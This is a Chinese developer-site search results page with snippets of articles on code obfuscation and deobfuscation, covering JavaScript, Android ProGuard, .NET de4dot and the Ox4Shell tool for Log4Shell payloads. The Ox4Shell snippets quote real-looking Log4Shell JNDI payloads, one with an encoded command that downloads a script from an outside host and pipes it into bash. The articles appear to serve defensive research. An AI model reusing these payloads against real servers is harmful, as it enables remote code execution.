首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏ek1ng的技术小站

    js混淆与反混淆

    JS混淆和反混淆常见思路 在了解了js代码的执行过程后,我们来看如何对js进行混淆。 可以想到比如我们想实现一个js混淆器我们该怎么做呢,要不就是用正则替换,要不就是在AST阶段生成混淆代码,用正则替换实现简单但是效果也比较差,现在js混淆大多数都是在不改变AST的情况下去生成混淆后的代码 代码混淆 这里我们抛砖引玉,讲一些比较常见的混淆方式,实际上混淆的办法非常的多。 \x35\x73\x53\x31\x6c\x59\x57\x6d\x68\x6a\x4d\x6b\x35\x35\x59\x56\x68\x43\x4d\x45\x70\x72\x57\x6a\x46\ o * 0x40 + p : p, n++ % 0x4) ?

    14.2K41编辑于 2023-03-08
  • 来自专栏全栈程序员必看

    Android 代码混淆 混淆方案

    本篇文章:自己在混淆的时候整理出比较全面的混淆方法,比较实用,自己走过的坑,淌出来的路。 3.buildConfigField 不显示log日志 4.signingConfig signingConfigs.config配置签名文件文件 自定义混淆规则 自定义混淆方案适用于大部分的项目 # readResolve(); } #Fragment不需要在AndroidManifest.xml中注册,需要额外保护下 -keep public class * extends android.support.v4. 检查混淆结果 混淆过的包必须进行检查,避免因混淆引入的bug。 一方面,需要从代码层面检查。 android.support.** -dontwarn android.support.** # 保留继承的 -keep public class * extends android.support.v4.

    3.7K30编辑于 2022-09-02
  • 来自专栏White OWL

    Ox4Shell工具-轻松反混淆 Log4Shell 有效负载

    描述 自 Log4Shell 漏洞 (CVE-2021-44228) 发布以来,创建了许多工具来混淆 Log4Shell 有效负载,使安全工程师的生活成为一场噩梦。 该工具旨在解开经过混淆的 Log4Shell 有效负载的真实内容。 例如,考虑以下经过混淆的有效负载: ${zrch-Q(NGyN-yLkV:-}${j${sm:Eq9QDZ8-xEv54:-ndi}${GLX-MZK13n78y:GW2pQ:-:l}${ckX:2@BH 例如,考虑以下混淆的有效负载: ${jndi:ldap://1.1.1.1:1389/Basic/Command/Base64/KHdnZXQgLU8gLSBodHRwOi8vMTg1LjI1MC4xNDguMTU3OjgwMDUvYWNjfHxjdXJsIC1vIC0gaHR0cDovLzE4NS4yNTAuMTQ4LjE1Nzo4MDA1L2FjYyl8L2Jpbi9iYXNoIA 的模拟功能对以下有效负载进行反混淆: ~/Ox4Shell >> python ox4shell.py -p "\${jndi:ldap://\${sys:java.version}.

    62220编辑于 2022-09-27
  • 来自专栏FreeBuf

    如何使用Ox4Shell反混淆Log4Shell的Payload

     关于Ox4Shell  Ox4Shell是一款针对Log4Shell Payload代码反混淆工具,自从Log4Shell漏洞(CVE-2021-44228)被发现之后,很多工具都开始尝试对Log4Shell Payload进行混淆处理,以便更好地利用这个漏洞去实施攻击,这也给广大研究人员带来了很大的麻烦。 该工具旨在帮助广大研究人员查看经过混淆处理的Log4Shell Payload的真实内容。 包含待反混淆的Payload文件路径 (默认: None) (向右滑动、查看更多)  模拟数据  Log4j代码库有几个独特的查询函数,允许用户查找环境变量和Java进程的运行时信息等。 的模拟数据能力来对下列Payload进行反混淆处理: ~/Ox4Shell >> python ox4shell.py -p "\${jndi:ldap://\${sys:java.version}.

    98630编辑于 2023-03-30
  • 来自专栏javascript技术

    「JS混淆」免费JS混淆工具

    github上的,免费的,英文的,JS混淆工具:https://js-obfuscator.github.io/UI:混淆测试:JS源码:(function (){ var domain = "js-obfuscator.com getFullYear() + "," + domain; }; var console_log = console.log; console_log(copyright())})();JS混淆结果 :(function (_0xe, _0xd) { var _0x4ag10b = "\u006A\u0073\u002D\u006F\u0062\u0066\u0075\u0073\u0063\u0061 new Date()['\u0067\u0065\u0074\u0046\u0075\u006C\u006C\u0059\u0065\u0061\u0072']() + "\u002C" + _0x4ag10b u006F\u0067']; _0xd = (885711 ^ 885702) + (139322 ^ 139320); _0xbe(_0xea());})();没改变代码结构,只是对代码中的每一行进行混淆变化

    2.7K01编辑于 2024-12-26
  • 来自专栏韩曙亮的移动开发专栏

    【Android 安全】DEX 加密 ( ProGuard 混淆 | -keepclassmembers 混淆效果 | -keepclasseswithmembernames 混淆效果 )

    文章目录 一、Proguard 默认混淆结果 二、-keepclassmembers 混淆效果 二、-keepclasseswithmembernames 混淆效果 更多 ProGuard 混淆配置参考 : https://www.guardsquare.com/en/products/proguard/manual/usage 一、Proguard 默认混淆结果 ---- ProGuard 的默认混淆结果 ) 不被混淆 , 类名还是会被混淆的 ; # 指定 kim.hsl.handler.Handler 类成员不被混淆 -keepclassmembers public class kim.hsl.handler.Handler 在编译后的结果中 , 类名与成员名称都被混淆了 , 因为没有配置不被混淆的成员 ; 使用 -keepclassmembers 指定保留 Handler 中的 public void *(*) 样式的方法不被混淆 *(*); } 下面是在一个被混淆的类中 , 找到了没有被混淆的 kim.hsl.handler.Handler 的成员方法 ; 二、-keepclasseswithmembernames 混淆效果

    5.1K00编辑于 2023-03-28
  • 来自专栏全栈程序员必看

    Android代码混淆混淆规则

    ProGuard默认会对第三方库也进行混淆的,而第三方库有的已经混淆过了,有的使用了Java反射技术,所以我们在进行代码混淆的时候要排除这些第三方库。 4.对第三方库中的类不进行混淆 a.混淆时保护引用的第三方jar包 如:-libraryjars libs/baidumapapi_v3_2_0.jar #保护引用的第三方jar包不被混淆 注意:在使用 BASE64Decoder################## -libraryjars libs/sun.misc.BASE64Decoder.jar ####################support.v4# #################### -libraryjars libs/android-support-v4.jar -keep class android.support.v4.** { *; } -dontwarn android.support.v4.** ###################other#################### # slidingmenu 的混淆 -dontwarn

    2.3K20编辑于 2022-09-02
  • 来自专栏数据科学CLUB

    混淆矩阵

    混淆矩阵是一个表,经常用来描述分类模型(或“分类器”)在已知真实值的一组测试数据上的性能。混淆矩阵本身比较容易理解,但是相关术语可能会令人混淆。 让我们从一个二进制分类器的混淆矩阵示例开始(尽管它可以很容易地扩展到两个以上的类): ? 我们能从这个矩阵中了解到什么? 有两种可能的预测类:“yes”和“no”。 我已经将这些项添加到混淆矩阵中,并且添加了行和列总数: ? 这是一个比率的列表,通常是从一个混淆矩阵的二元分类器里得出: 准确率(Accuracy):总的来说,分类器的准确率是多少?

    1.9K20发布于 2020-06-17
  • 来自专栏叽叽西

    ProGuard混淆

    ProGuard技术的功能概括为以下4项: 1.压缩(shrinks) :检查并移除代码中无用的类,字段,方法,属性。 2.优化(optimizes):对字节码进行优化,移除无用的指令。 4.预检测(Preveirfy):在java平台上对处理后的代码进行再次检测。 详细介绍 (1) ProGuard 配置 -include{filename}:从给定的文件中读取配置参数。 、方法和属性的对应关系 3)seeds.txt 列出了没有被混淆的类和属性 4)usage.txt 列出了没有被打到apk文件中的代码 这些文件置于<project_root # 针对android-support-v4.jar的解决方案 -libraryjars libs/android-support-v4.jar -dontwarn android.support.v4 .** -keep class android.support.v4.** { *; } -keep interface android.support.v4.app.** { *; } -keep public

    3.9K30编辑于 2022-05-17
  • 来自专栏Khan安全团队

    混淆检测

    混淆检测 是一款 Binary Ninja 插件,用于检测二进制文件中的混淆代码和可疑代码结构(例如状态机)。 此类代码结构可能实现 混淆代码 状态机和协议 C&C 服务器通信 字符串解密例程 加密算法 特征 识别大型二进制文件中有趣的代码结构 在 Binary Ninja 的图形视图中突出显示未对齐的指令 高效且与架构无关的实现

    26500编辑于 2025-05-04
  • 来自专栏踏浪的文章

    再看JavaScript,那些遗漏或易混淆的知识点(4)

    原型继承就是可以使一个对象可以使用另一个对象上面的某一些属性,要求是这个对象没有这个属性。如果有这个属性,就直接使用自己的了(访问器属性除外)。

    44130编辑于 2021-12-24
  • 来自专栏红蓝对抗

    对抗 | 利用de4dot解密被混淆的.NET代码

    这位师傅用反编译工具打开后部分方法名显示为不规则的字符串,混淆代码的操作比较明显,此类混淆经过解密得知是.NET Reactor,笔者曾经也用过此工具混淆过代码,如下图 反混淆的工具有很多,其中de4dot 0x02 踩坑 由截止目前2022.06.22,最新版本为 de4dot v3.1.41592.3405 ,项目地址:https://github.com/de4dot/de4dot,项目没有编译好的程序 检测混淆 de4dot 提供 -d选项检测混淆器类型,如下命令检测出混淆器是 .NET Reactor de4dot.exe -d c:\input\Dx.OfficeView.dll 2. 批量反混淆 dde4dot 提供如下命令批量反混淆处置,将被反混淆的DLL文件放到input目录,解密后的程序集保存到output目录,-r表示递归 ,-ru表示忽略未知文件。 -ro表示输出文件到目标文件夹 de4dot.exe -r c:\input -ru -ro c:\output 反混淆解密后用dnspy打开能看到正常C#代码,可以继续愉快的代码审计了,解密后把文件发给了这位师傅

    4.6K20编辑于 2022-08-05
  • 来自专栏全栈程序员必看

    android 混淆规则作用,Android代码混淆详解

    一、混淆的意义 混淆代码并不是让代码无法被反编译,而是将代码中的类、方法、变量等信息进行重命名,把它们改成一些毫无意义的名字,同时也可以移除未被使用的类、方法、变量等。 二、混淆的规则和配置 凡是需要在AndroidManifest.xml中去注册的所有类的类名以及从父类重写的方法名都自动不会被混淆。 (4)proguard-android.txt和proguard-rules.pro proguard-android.txt:代表系统默认的混淆规则配置文件,该文件在/tools/proguard下, proguard-rules.pro:代码表当前Project的混淆配置文件,在app module下,可以通过修改该文件来添加适用当前项目的混淆规则。 mapping.txt : 列出了原始的类、方法和名称与混淆代码间的映射。 seeds.txt : 列出了没有混淆的类和方法。 usage.txt : 列出congapk中删除的代码。

    2.3K30编辑于 2022-09-02
  • 来自专栏韩曙亮的移动开发专栏

    【Android 安装包优化】开启 ProGuard 混淆 ( 压缩 Shrink | 优化 Optimize | 混淆 Obfuscate | 预检 | 混淆文件编写 | 混淆前后对比 )

    文章目录 一、开启 ProGuard 混淆 二、混淆文件编写 三、混淆前后对比 四、build.gradle 完整配置文件 五、参考资料 一、开启 ProGuard 混淆 ---- 在 build.gradle , 由系统自动生成 ; proguard-rules.pro 是用户自己配置的混淆配置文件 , 在进行打包时 , 将这两个 ProGuard 配置文件进行合并处理 ; 二、混淆文件编写 ---- 混淆文件编写 .** " -keep " : 不要混淆的类 ; # com 包名下的类不要混淆 -keep class com.**{*;} 三、混淆前后对比 ---- 混淆前编译的 APK 安装包 : \rm 3.6 implementation 'androidx.constraintlayout:constraintlayout:2.0.4' testImplementation 'junit:junit:4. | -keepclassmembers 混淆效果 | -keepclasseswithmembernames 混淆效果 ) 【Android 安全】DEX 加密 ( Proguard 混淆 | 混淆后的报错信息

    4.9K20编辑于 2023-03-29
  • 来自专栏全栈程序员必看

    Android 代码混淆

    Android 代码混淆 简介 在我们日常开发中,对已经开发完成的源代码,需做一些代码混淆工作,以对代码起到一种保护和降低安装包体积的作用。 buildTypes { release { //开启代码混淆 minifyEnabled true //开启资源混淆 '), 'proguard-rules.pro' } } } 配置混淆文件 在app的proguard-rules.pro文件中编写混淆代码即可 混淆语法 命令 作用 -dontpreverify # 保留Annotation不混淆 -keepattributes *Annotation*,InnerClasses # 避免混淆泛型 -keepattributes 下的所有类及其内部类 -keep class android.support.** {*;} # 保留继承的 -keep public class * extends android.support.v4.

    1.8K30编辑于 2022-09-02
  • 来自专栏祥子的故事

    R:混淆矩阵

    在机器学习中,最后要计算混淆矩阵,常用的函数有: table confusionMatrix 下面以前馈神经网络为例来说明: > library("RSNNS") 载入需要的程辑包:Rcpp > 100,25), sample(101:150,25)) > ir1<-nnet(ir[samp,], targets[samp,], size = 2, rang = 0.1,decay = 5e-4, 2.318266 iter 190 value 2.318228 iter 200 value 2.318209 final value 2.318200 converged > > #####预测和混淆矩阵

    1.4K20发布于 2019-02-18
  • 来自专栏Android 进阶

    Android 混淆打包

    class #不做预校验,preverify是proguard的4个功能之一 #android不需要preverify,去掉这一步加快混淆速度 -dontpreverify -verbose #混淆时记录日志 class * extends org.litepal.** -keepclassmembers class * extends org.litepal.crud.DataSupport{*;} #v4包下的文件都不要混淆 -dontwarn   如果有警告也不终止 -dontwarn android.support.v4.** -keep class android.support.v4.app.**{*;} -keep class android.support.v4.** { *; } -keep interface android.support.v4.app.** { *; } -keep public class * extends android.support.v4.** -keep public class * extends android.app.Fragment  #所有fragment的子类不要去混淆

    1.8K30发布于 2019-12-26
  • 来自专栏iOS混淆

    iOS混淆探索

    事物都有两面性,功能越强大混淆耗时越长,如果你的项目很大,混淆几个小时也是有可能的,请不要见怪,后续持续优化中。 正常项目(或者第三方库)混淆完基本不报错(除了一些个别语法不严谨造成混淆后报错) 也欢迎大家使用不同工具混淆测试工程confuse_test或者第三方开源库项目,对比效果。 功能 confuse是一款混淆工具,尽可能模拟人工开发,仿照Xcode部分功能,避免机核4.3、2.1、2.3.1、账号调查等。 ,与Xcode保持一致 ‘参考项目根路径’设置,读取参考项目的单词、UUID ‘敏感词’过滤 ‘版本迭代混淆’,过审后迭代更新,沿用上一次(也可以任意选择版本)混淆记录增量混淆,保持版本连续性,模拟正常开发 优势:做到开发和混淆同步且各自独立。

    2.2K31发布于 2021-07-12
  • 来自专栏向治洪

    android代码混淆

    proguard 就是这样的混淆工具,它可以分析一组class 的结构,根据用户的配置,然后把这些class 文件的可以混淆java 元素名混淆掉。 为了避免风险,你可以只是混淆部分关键的代码,但是这样你的混淆的效果也会有所降低。 常见的不能混淆的androidCode Android 程序 ,下面这样代码混淆的时候要注意保留。 已经保留的就不需要了) 目前系统部检查的第三方库为 -dontwarn android.support.** -dontwarn com.tencent.** -dontwarn org.dom4j .** -dontwarn org.slf4j.** -dontwarn org.http.mutipart.** -dontwarn org.apache.** -dontwarn org.apache.log4j dontwarn org.apache.commons.logging.** -dontwarn org.apache.commons.codec.binary.** -dontwarn weibo4android

    2.2K80发布于 2018-01-29
  • 来自专栏一猿小讲

    Java 混淆

    面对此景,我们有没有办法,去混淆一些核心代码,来捍卫自己劳动成果呢? ProGuard 是一个压缩(shrink)、优化(optimize)和混淆(obfuscate) Java 字节码文件的免费的工具。 常常用于Android 开发用于混淆最终的项目,增加项目被反编译的难度——摘自百度百科。 ? 在 Input/Output 中,Add input 选择要混淆的 JAR 包,注意一定要添加待混淆的 JAR 包依赖的所有类库,Add output 指定输出文件名(例如 a.jar);压缩(Shrinking 采用 JD-GUI 打开根据混淆输出的 JAR,效果貌似像那么回事儿。 ?

    1.9K10发布于 2019-10-21
领券